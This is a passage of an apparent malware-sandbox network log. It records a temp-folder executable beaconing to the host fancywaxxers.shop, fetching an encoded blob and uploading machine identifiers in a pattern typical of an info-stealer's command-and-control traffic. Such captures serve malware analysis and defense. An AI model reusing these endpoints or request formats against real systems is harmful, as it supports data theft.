2025-01-03 14:21:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 75 65 39 76 4c 46 4d 36 71 30 6d 58 32 39 6b 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 31 66 62 30 39 38 39 31 36 63 62 61 64 30 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ue9vLFM6q0mX29kz.1Context: b1fb098916cbad0c
2025-01-03 14:21:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-03 14:21:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 75 65 39 76 4c 46 4d 36 71 30 6d 58 32 39 6b 7a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 31 66 62 30 39 38 39 31 36 63 62 61 64 30 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 51 67 34 62 35 38 63 53 30 56 55 49 44 6e 74 37 30 6a 74 4a 77 33 52 6f 42 41 57 50 58 6b 44 58 37 55 5a 6d 62 6f 64 76 54 4d 78 72 37 66 78 5a 4b 69 4f 57 66 37 54 33 35 6e 79 79 68 4f 6a 43 50 4b 4f 5a 36 77 65 52 54 2b 68 2f 4f 39 77 42 31 2b 76 34 56 67 63 38 31 2b 4b 70 39 62 61 69 54 69 42 54 50 67 72 70 62 45 4c 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ue9vLFM6q0mX29kz.2Context: b1fb098916cbad0c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaQg4b58cS0VUIDnt70jtJw3RoBAWPXkDX7UZmbodvTMxr7fxZKiOWf7T35nyyhOjCPKOZ6weRT+h/O9wB1+v4Vgc81+Kp9baiTiBTPgrpbELf
2025-01-03 14:21:11 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 75 65 39 76 4c 46 4d 36 71 30 6d 58 32 39 6b 7a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 31 66 62 30 39 38 39 31 36 63 62 61 64 30 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ue9vLFM6q0mX29kz.3Context: b1fb098916cbad0c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-03 14:21:11 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-03 14:21:11 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 58 65 56 37 56 4e 62 58 2f 30 43 32 32 77 6d 42 47 74 77 4c 66 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: XeV7VNbX/0C22wmBGtwLfA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49747	104.21.112.1	443	6012	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:13 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2025-01-03 14:21:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-03 14:21:13 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h7vgrikomfphkflf3qb8kqfun1; expires=Tue, 29 Apr 2025 08:07:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j9I182QYS3ypljIiC1TBhtBvoI7pU%2FbXU64HuIBG6EjA2rtVlqKGB4K%2Fxzj4CYqJw4IVDLbw%2FJQumlmYD%2BZvDWU0xkHyIPPUzHM7wMfdt7K0eojstnKCQAWbW5fMOWqaZnQbHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a24d3909729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2004&min_rtt=1971&rtt_var=806&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=908&delivery_rate=1303571&cwnd=169&unsent_bytes=0&cid=a6cb7ee5c248b4c6&ts=548&x=0"
2025-01-03 14:21:13 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-03 14:21:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49753	104.21.112.1	443	6012	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:14 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: fancywaxxers.shop
2025-01-03 14:21:14 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2025-01-03 14:21:14 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ttjj5odp98cfhvks8noekkf0r; expires=Tue, 29 Apr 2025 08:07:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aDnHtPx5K2X7kvo5P7jmNMw0upRbq%2F5q6WPFJ2OMxZXCi7oafVUYjTxnNxFawLlaFbXtUNyMfz9ZmfN%2FAMxsatlukgSoC4B9gcM%2BhAqjaf8hkrQBKjRm9vt9uMoa6TO0V1xDyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a2536e140f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1562&min_rtt=1555&rtt_var=598&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=948&delivery_rate=1806930&cwnd=221&unsent_bytes=0&cid=afe2f7b8c709ad6b&ts=474&x=0"
2025-01-03 14:21:14 UTC	240	IN	Data Raw: 31 63 61 35 0d 0a 70 4a 49 57 49 41 53 30 2b 59 64 48 79 33 4f 62 2b 5a 50 66 45 6e 4e 34 70 4e 37 6e 4a 67 39 37 35 52 63 64 5a 59 45 61 30 65 6a 66 73 47 41 43 50 6f 44 56 70 54 53 75 55 61 47 4e 34 61 70 33 58 31 72 46 75 73 55 63 61 52 71 4a 5a 48 68 4a 6f 32 79 38 79 70 37 30 64 30 78 33 30 64 57 6c 49 72 4e 52 6f 61 4c 6f 2f 58 63 64 57 70 37 38 67 6b 78 74 47 6f 6c 31 66 41 37 75 61 72 32 4c 7a 50 35 78 53 47 48 58 6e 65 59 72 70 68 62 2b 6e 50 4b 31 66 42 6f 56 7a 4c 50 46 43 69 30 65 6e 7a 55 6e 52 38 78 2f 70 59 6e 70 38 32 56 4c 4a 73 6e 56 2f 47 57 75 48 62 6e 44 73 62 35 33 45 52 54 43 75 6f 78 4f 5a 78 4f 42 64 48 6b 50 38 58 4f 33 67 4d 7a 77 63 6b 6c 72 33 6f 6e 72 49 61 45 64 2b 4a 62 79 2f 54 Data Ascii: 1ca5pJIWIAS0+YdHy3Ob+ZPfEnN4pN7nJg975RcdZYEa0ejfsGACPoDVpTSuUaGN4ap3X1rFusUcaRqJZHhJo2y8yp70d0x30dWlIrNRoaLo/XcdWp78gkxtGol1fA7uar2LzP5xSGHXneYrphb+nPK1fBoVzLPFCi0enzUnR8x/pYnp82VLJsnV/GWuHbnDsb53ERTCuoxOZxOBdHkP8XO3gMzwcklr3onrIaEd+Jby/T
2025-01-03 14:21:14 UTC	1369	IN	Data Raw: 35 52 48 64 37 38 33 51 51 2b 4b 34 52 6b 62 68 4c 75 61 4c 58 4b 32 62 35 74 41 6d 48 61 32 37 31 6c 6f 52 33 33 6e 76 4b 79 64 78 41 61 31 4c 4f 46 52 32 55 52 67 33 39 77 43 4f 78 32 75 59 33 4f 2b 58 4e 4e 59 64 36 64 36 69 62 70 58 37 6d 63 36 66 30 6f 55 54 72 57 76 34 5a 51 59 41 6a 48 61 6a 45 65 6f 33 2b 2f 79 70 36 77 63 6b 78 6e 32 35 76 33 4c 61 49 61 2f 49 6e 36 74 48 30 63 47 73 75 32 69 6b 64 74 48 6f 31 2f 63 41 33 6e 64 62 36 4d 78 76 41 30 44 43 62 52 67 36 56 39 36 54 4c 38 69 2f 61 78 5a 6c 4d 67 68 71 50 4c 58 53 30 65 69 7a 55 6e 52 2b 74 39 73 49 6e 4e 2f 33 64 4b 62 63 53 62 39 79 4f 6b 46 4f 75 64 39 4c 4e 36 45 67 6a 4d 73 6f 4e 48 5a 42 4b 4f 63 48 67 44 6f 7a 62 7a 6a 64 36 77 4c 41 4a 48 32 35 44 70 4c 37 34 52 75 59 53 2f 70 Data Ascii: 5RHd783QQ+K4RkbhLuaLXK2b5tAmHa271loR33nvKydxAa1LOFR2URg39wCOx2uY3O+XNNYd6d6ibpX7mc6f0oUTrWv4ZQYAjHajEeo3+/yp6wckxn25v3LaIa/In6tH0cGsu2ikdtHo1/cA3ndb6MxvA0DCbRg6V96TL8i/axZlMghqPLXS0eizUnR+t9sInN/3dKbcSb9yOkFOud9LN6EgjMsoNHZBKOcHgDozbzjd6wLAJH25DpL74RuYS/p
2025-01-03 14:21:14 UTC	1369	IN	Data Raw: 4b 74 6f 4e 4c 59 42 58 48 4f 7a 38 41 2b 7a 6a 72 79 75 7a 7a 59 45 46 73 6c 4b 37 6d 4b 36 63 57 37 39 76 75 38 32 6c 52 48 63 72 38 33 51 52 67 47 49 39 7a 62 51 6a 75 65 37 32 45 79 66 56 37 53 6d 62 57 6c 75 41 68 6f 68 72 36 6c 76 57 76 65 68 45 53 77 37 32 50 54 69 31 58 78 33 4a 6e 52 37 73 34 67 70 33 4e 73 6b 46 42 61 4e 69 63 38 32 57 32 58 2b 44 62 39 72 45 77 53 56 72 4c 74 49 42 42 59 68 69 4e 65 33 6f 4e 37 33 43 39 69 64 54 2f 63 45 4a 71 33 70 48 6f 4b 36 30 5a 38 4a 44 36 75 33 41 51 45 49 62 79 78 55 4e 31 57 64 38 31 53 77 44 76 64 62 7a 49 38 2f 4e 36 54 47 48 41 32 2f 70 72 73 46 48 2b 6c 37 48 6c 4d 42 30 54 78 72 65 50 51 47 30 65 69 6e 42 38 41 4f 42 31 74 49 44 49 39 33 42 4f 62 39 75 64 35 53 4b 74 46 4f 75 65 2b 4c 46 38 55 56 Data Ascii: KtoNLYBXHOz8A+zjryuzzYEFslK7mK6cW79vu82lRHcr83QRgGI9zbQjue72EyfV7SmbWluAhohr6lvWvehESw72PTi1Xx3JnR7s4gp3NskFBaNic82W2X+Db9rEwSVrLtIBBYhiNe3oN73C9idT/cEJq3pHoK60Z8JD6u3AQEIbyxUN1Wd81SwDvdbzI8/N6TGHA2/prsFH+l7HlMB0TxrePQG0einB8AOB1tIDI93BOb9ud5SKtFOue+LF8UV
2025-01-03 14:21:14 UTC	1369	IN	Data Raw: 57 79 4d 41 78 33 4a 7a 52 37 73 34 75 6f 50 55 2f 6e 70 4c 61 39 43 54 34 69 75 6b 47 76 2b 51 39 72 70 32 48 42 4c 4c 75 59 5a 46 61 52 4f 56 64 6e 51 4e 37 6e 4c 7a 78 49 62 33 62 41 49 2b 6c 72 7a 70 44 4c 6b 4b 36 34 32 78 6f 6a 34 49 57 73 47 77 78 52 77 74 47 6f 68 38 63 41 2f 72 64 37 79 4f 79 50 5a 79 54 32 50 5a 6b 66 63 74 70 78 7a 79 6c 50 71 76 63 42 77 65 79 72 69 4e 54 32 64 5a 79 54 56 34 48 36 4d 67 38 37 2f 4c 2f 33 52 42 63 4a 61 45 71 7a 7a 70 46 76 58 62 71 66 31 38 48 78 72 4a 73 49 6c 50 5a 52 69 4c 65 33 67 43 36 6e 43 37 6d 4d 66 30 66 45 4e 6f 32 5a 72 68 49 4b 77 56 2f 70 2f 33 73 6a 42 66 57 73 47 6b 78 52 77 74 4e 71 42 41 50 53 62 5a 4f 4b 7a 45 33 37 42 7a 54 69 61 4f 32 2b 6b 6d 70 52 6e 32 6e 66 69 78 65 68 67 52 79 72 65 Data Ascii: WyMAx3JzR7s4uoPU/npLa9CT4iukGv+Q9rp2HBLLuYZFaROVdnQN7nLzxIb3bAI+lrzpDLkK642xoj4IWsGwxRwtGoh8cA/rd7yOyPZyT2PZkfctpxzylPqvcBweyriNT2dZyTV4H6Mg87/L/3RBcJaEqzzpFvXbqf18HxrJsIlPZRiLe3gC6nC7mMf0fENo2ZrhIKwV/p/3sjBfWsGkxRwtNqBAPSbZOKzE37BzTiaO2+kmpRn2nfixehgRyre
2025-01-03 14:21:14 UTC	1369	IN	Data Raw: 59 4a 36 66 67 62 6c 61 72 53 44 31 50 35 35 54 57 37 65 6b 75 51 68 72 42 7a 2f 6c 2f 75 38 64 78 38 55 7a 76 7a 4c 42 47 6f 42 78 79 30 2f 4a 76 4e 6a 6f 5a 7a 4c 30 58 6c 4e 4a 73 6e 56 2f 47 57 75 48 62 6e 44 73 62 52 69 46 52 66 55 74 59 4a 4b 59 68 71 56 64 48 49 4d 38 58 2b 38 6a 73 48 38 63 6b 31 67 31 35 37 76 4b 61 34 55 38 70 54 39 2f 54 35 52 48 64 37 38 33 51 52 44 45 70 52 69 66 41 6e 6f 62 71 6a 4b 32 62 35 74 41 6d 48 61 32 37 31 6c 71 68 72 79 6e 2f 47 78 63 42 55 58 78 71 36 4b 51 32 6f 51 6a 47 64 31 41 4f 52 7a 75 34 48 4a 39 6d 5a 4f 61 4d 53 65 39 7a 66 70 58 37 6d 63 36 66 30 6f 55 53 7a 42 72 4a 56 48 4c 79 69 52 64 6d 6b 4d 37 6e 54 7a 6c 59 6a 70 4e 45 56 71 6c 73 4f 6c 49 36 59 59 2b 70 54 77 74 48 77 63 48 38 2b 35 68 45 4a 70 Data Ascii: YJ6fgblarSD1P55TW7ekuQhrBz/l/u8dx8UzvzLBGoBxy0/JvNjoZzL0XlNJsnV/GWuHbnDsbRiFRfUtYJKYhqVdHIM8X+8jsH8ck1g157vKa4U8pT9/T5RHd783QRDEpRifAnobqjK2b5tAmHa271lqhryn/GxcBUXxq6KQ2oQjGd1AORzu4HJ9mZOaMSe9zfpX7mc6f0oUSzBrJVHLyiRdmkM7nTzlYjpNEVqlsOlI6YY+pTwtHwcH8+5hEJp
2025-01-03 14:21:14 UTC	1369	IN	Data Raw: 77 63 6f 32 66 39 6b 34 62 33 65 41 49 2b 6c 70 6a 69 4a 71 67 62 38 4a 66 2b 75 6e 51 44 45 4d 47 75 68 45 56 6d 46 49 74 31 63 67 72 70 65 62 71 48 79 76 31 7a 52 57 6e 54 32 36 74 6c 72 67 6d 35 77 37 47 63 66 52 6f 57 6e 65 62 46 57 79 4d 41 78 33 4a 7a 52 37 73 34 73 34 44 44 2b 6e 6c 42 61 64 57 4a 35 43 4f 37 45 66 53 52 34 37 64 37 46 42 66 4c 73 59 5a 43 61 78 4b 4c 5a 33 59 48 34 48 50 7a 78 49 62 33 62 41 49 2b 6c 72 6a 79 4d 36 4d 57 39 59 33 36 76 48 4d 48 46 39 62 38 79 77 52 38 48 70 59 31 4a 78 48 7a 62 37 53 56 69 4f 6b 30 52 57 71 57 77 36 55 6a 6f 42 66 2b 6e 66 2b 76 64 52 63 56 79 62 57 4d 51 47 55 61 68 33 46 37 41 4f 5a 37 76 34 48 42 38 33 74 47 62 39 69 53 36 6d 58 6e 55 66 36 44 73 65 55 77 4d 41 48 46 73 49 67 45 63 6c 65 65 4e Data Ascii: wco2f9k4b3eAI+lpjiJqgb8Jf+unQDEMGuhEVmFIt1cgrpebqHyv1zRWnT26tlrgm5w7GcfRoWnebFWyMAx3JzR7s4s4DD+nlBadWJ5CO7EfSR47d7FBfLsYZCaxKLZ3YH4HPzxIb3bAI+lrjyM6MW9Y36vHMHF9b8ywR8HpY1JxHzb7SViOk0RWqWw6UjoBf+nf+vdRcVybWMQGUah3F7AOZ7v4HB83tGb9iS6mXnUf6DseUwMAHFsIgEcleeN
2025-01-03 14:21:14 UTC	256	IN	Data Raw: 2f 71 38 71 65 73 46 52 4a 63 4e 4f 63 38 32 65 63 45 76 65 56 39 71 73 77 44 69 57 49 2f 49 70 65 4c 55 47 2b 62 44 38 41 37 7a 6a 72 79 74 50 33 64 45 56 38 77 4a 7a 70 4e 4b 49 63 39 62 6e 2b 75 6d 59 53 46 63 57 74 6a 41 68 6d 46 4d 63 37 50 77 44 37 4f 4f 76 4b 36 66 64 69 51 55 6e 56 69 75 78 6c 35 31 48 2b 6a 62 48 6c 4d 43 39 61 31 4c 2b 56 52 32 49 49 75 54 55 6e 48 74 30 34 75 4a 7a 42 34 48 64 55 62 64 75 58 39 42 76 70 53 61 33 4a 6f 2b 38 69 51 77 57 47 6f 37 6f 4b 4c 52 6a 48 4c 55 59 65 6f 32 37 7a 30 70 53 2b 4e 46 41 6d 6a 74 75 69 4a 72 73 44 2f 35 6a 6e 76 6a 63 76 4a 4f 47 71 6a 30 4e 39 48 70 42 36 50 30 6d 6a 64 2f 50 53 2f 37 42 39 52 58 33 48 6a 65 67 31 72 6c 48 47 31 62 47 6c 4d 45 6c 61 38 37 2b 4c 53 6d 6f 50 6c 6a 68 59 45 0d Data Ascii: /q8qesFRJcNOc82ecEveV9qswDiWI/IpeLUG+bD8A7zjrytP3dEV8wJzpNKIc9bn+umYSFcWtjAhmFMc7PwD7OOvK6fdiQUnViuxl51H+jbHlMC9a1L+VR2IIuTUnHt04uJzB4HdUbduX9BvpSa3Jo+8iQwWGo7oKLRjHLUYeo27z0pS+NFAmjtuiJrsD/5jnvjcvJOGqj0N9HpB6P0mjd/PS/7B9RX3Hjeg1rlHG1bGlMEla87+LSmoPljhYE
2025-01-03 14:21:14 UTC	1369	IN	Data Raw: 32 63 65 66 0d 0a 65 6c 2f 6f 34 33 52 2f 7a 51 4d 4a 74 44 62 76 58 62 6e 55 66 32 4b 73 65 55 67 51 30 47 54 37 39 49 55 50 77 62 4a 62 44 38 52 6f 79 44 68 78 49 62 69 4e 42 6f 6d 6b 5a 6a 33 4e 36 38 53 37 35 69 32 67 30 34 32 41 4d 75 36 6b 6c 56 54 4a 34 42 76 63 67 48 30 61 66 2b 66 78 66 35 36 52 58 43 57 31 61 55 71 36 55 6e 41 32 37 6e 39 54 31 39 61 33 76 7a 64 42 46 67 61 69 58 74 34 45 66 49 31 6c 4a 44 4c 39 6d 4e 54 4a 70 6a 62 34 32 58 78 51 37 66 62 39 61 77 77 53 55 71 55 35 39 41 58 4f 6b 6e 56 61 6a 45 65 6f 32 37 7a 30 70 53 2b 4e 46 41 6d 6a 74 75 69 4a 72 73 44 2f 35 6a 6e 76 6a 63 76 4a 4f 69 37 67 30 46 71 43 63 56 62 64 42 50 6b 4f 50 33 4b 79 62 41 73 65 79 61 65 32 39 70 72 36 51 6d 35 77 37 47 49 63 78 38 55 77 61 71 55 43 55 Data Ascii: 2cefel/o43R/zQMJtDbvXbnUf2KseUgQ0GT79IUPwbJbD8RoyDhxIbiNBomkZj3N68S75i2g042AMu6klVTJ4BvcgH0af+fxf56RXCW1aUq6UnA27n9T19a3vzdBFgaiXt4EfI1lJDL9mNTJpjb42XxQ7fb9awwSUqU59AXOknVajEeo27z0pS+NFAmjtuiJrsD/5jnvjcvJOi7g0FqCcVbdBPkOP3KybAseyae29pr6Qm5w7GIcx8UwaqUCU
2025-01-03 14:21:14 UTC	1369	IN	Data Raw: 4a 31 57 74 4f 4b 48 4b 6e 72 41 7a 51 58 54 45 6e 65 59 7a 71 6c 62 48 70 64 61 7a 64 78 41 4d 31 71 75 4b 65 6c 4d 4d 68 48 74 78 41 50 56 70 38 38 53 47 2f 7a 51 61 58 35 62 54 70 52 72 6e 55 65 48 62 71 66 31 46 45 68 54 49 75 35 4e 56 49 44 36 4a 63 6e 34 52 38 32 2b 38 79 6f 69 77 63 67 49 2b 68 4e 57 6c 49 62 68 52 6f 63 75 6a 35 69 56 43 54 5a 62 75 6d 67 70 30 57 5a 45 31 4a 31 57 74 4f 4b 48 4b 6e 72 41 7a 51 58 54 45 6e 65 59 7a 71 6c 62 48 70 64 61 7a 64 78 41 4d 31 71 75 4b 43 30 4d 76 70 6b 74 42 45 75 42 32 76 59 33 51 34 54 51 4d 4a 74 6e 62 76 52 7a 70 57 62 6d 6b 76 2f 31 6f 55 55 4b 47 69 59 5a 4b 59 78 36 52 5a 44 49 67 37 58 2b 79 6e 4e 62 6e 65 77 31 49 34 4c 71 6c 61 2b 6b 58 75 63 4f 6a 38 7a 41 56 43 34 62 6b 31 52 59 32 54 4e 51 Data Ascii: J1WtOKHKnrAzQXTEneYzqlbHpdazdxAM1quKelMMhHtxAPVp88SG/zQaX5bTpRrnUeHbqf1FEhTIu5NVID6Jcn4R82+8yoiwcgI+hNWlIbhRocuj5iVCTZbumgp0WZE1J1WtOKHKnrAzQXTEneYzqlbHpdazdxAM1quKC0MvpktBEuB2vY3Q4TQMJtnbvRzpWbmkv/1oUUKGiYZKYx6RZDIg7X+ynNbnew1I4Lqla+kXucOj8zAVC4bk1RY2TNQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49764	104.21.112.1	443	6012	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:15 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZV4K5TSOVEP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12817 Host: fancywaxxers.shop
2025-01-03 14:21:15 UTC	12817	OUT	Data Raw: 2d 2d 5a 56 34 4b 35 54 53 4f 56 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 5a 56 34 4b 35 54 53 4f 56 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 56 34 4b 35 54 53 4f 56 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 5a 56 34 4b 35 54 53 4f 56 45 50 0d 0a 43 6f 6e 74 Data Ascii: --ZV4K5TSOVEPContent-Disposition: form-data; name="hwid"8035F73EF50AEF55822D1F4978021086--ZV4K5TSOVEPContent-Disposition: form-data; name="pid"2--ZV4K5TSOVEPContent-Disposition: form-data; name="lid"PsFKDg--pablo--ZV4K5TSOVEPCont
2025-01-03 14:21:16 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ej53ums8acr758o2lmovmq0378; expires=Tue, 29 Apr 2025 08:07:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QAn9Yk9OBZQxnZ0r4u%2BFyHQxvPQjPi972LHiaFo%2FPlstM14tqyJ%2BqIbKIBLRPcLAQl0tyNrkfj%2FQauvd%2F4IQwLdJikN0wJC5GZOoCigr51VC7m1Vt%2FFA5L6rP8I2Mnyeo0iSNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a25c8c08727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2004&min_rtt=2001&rtt_var=757&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13751&delivery_rate=1439842&cwnd=232&unsent_bytes=0&cid=8030f0e2a8364306&ts=514&x=0"
2025-01-03 14:21:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-03 14:21:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49775	104.21.112.1	443	6012	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Timestamp	Bytes transferred	Direction	Data
